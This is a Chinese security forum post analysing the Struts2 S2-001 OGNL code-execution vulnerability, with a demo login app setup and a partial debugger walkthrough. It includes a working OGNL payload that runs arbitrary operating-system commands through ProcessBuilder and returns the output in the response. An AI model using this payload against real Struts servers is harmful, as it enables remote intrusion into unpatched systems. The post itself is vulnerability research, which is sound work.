K8安全团队
查看: 673|回复: 0

【struts2 命令/代码执行漏洞分析系列】S2-001

[复制链接]
  • TA的每日心情
    开心
    2017-6-13 17:07
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2018-3-6 02:18:02 | 显示全部楼层 |阅读模式

    马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

    您需要 登录 才可以下载或查看,没有帐号?注册

    x
    前言
    最近学习java安全,在分析s2-001的时候发现了一些问题和心得。一方面网上关于s2-001的漏洞分析很少,基本上都是poc+利用而已,另一方面在调试过程中感觉apache官方通告有不准确的地方,这点见后面的一点说明部分,有不准确的地方望各位师傅指出,谢谢。
    漏洞信息
    漏洞成因官方概述:Remote code exploit on form validation error
    漏洞影响:
    WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
    环境搭建
    源码结构:
    几个主要文件(待会用到):
    index.jsp
    [Java] 纯文本查看 复制代码
    <html>
    <head>
      <title>用户登录</title>
    </head>
    <body>
    <h1>用户登录</h1>
    <s:form action="login">
      <s:textfield name="username" label="username" />
      <s:textfield name="password" label="password" />
      <s:submit></s:submit>
    </s:form>
    </body>
    </html>
    struts.xml:
    [AppleScript] 纯文本查看 复制代码
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE struts PUBLIC
            "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
            "http://struts.apache.org/dtds/struts-2.0.dtd">
    <struts>
        <package name="s2-001" extends="struts-default">
            <action name="login" class="com.test.LoginAction">
                <result name="success">/success.jsp</result>
                <result name="error">/index.jsp</result>
            </action>
        </package>
    </struts>
    web.xml:

    [AppleScript] 纯文本查看 复制代码
    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee [url]http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd[/url]" id="WebApp_ID" version="3.1">
        <filter>
            <filter-name>struts2</filter-name>
            <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
        </filter>
        <filter-mapping>
            <filter-name>struts2</filter-name>
            <url-pattern>/*</url-pattern>
        </filter-mapping>
        <welcome-file-list>
            <welcome-file>index.jsp</welcome-file>
        </welcome-file-list>
    </web-app>
    完整源码见附件。
    漏洞利用
    最简单poc:
    [AppleScript] 纯文本查看 复制代码
    %{1+1}
    
    任意命令执行:
    [AppleScript] 纯文本查看 复制代码
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    
    将new java.lang.String[]{"pwd"})中的pwd替换为对应的命令,即可执行。
    漏洞分析
    在经过tomcat容器的处理后,http请求会到达struts2,从这里开始调试吧。
    在 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:158 接受我们输入的参数值,之后会调用对应的set方法(这个省略):
    [AppleScript] 纯文本查看 复制代码
        ValueStack stack = ac.getValueStack();
        setParameters(action, stack, parameters);
    } finally {
    继续执行,执行完interceptor部分,也即对return invocation.invoke();进行step over,到达/com/opensymphony/xwork2/DefaultActionInvocation.java:252
    跟进executeResult(),到达 /com/opensymphony/xwork2/DefaultActionInvocation.java:343
    游客,如果您要查看本帖隐藏内容请回复

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    Powered by Discuz! X3.2 © 2001-2016 Comsenz Inc.

    返回顶部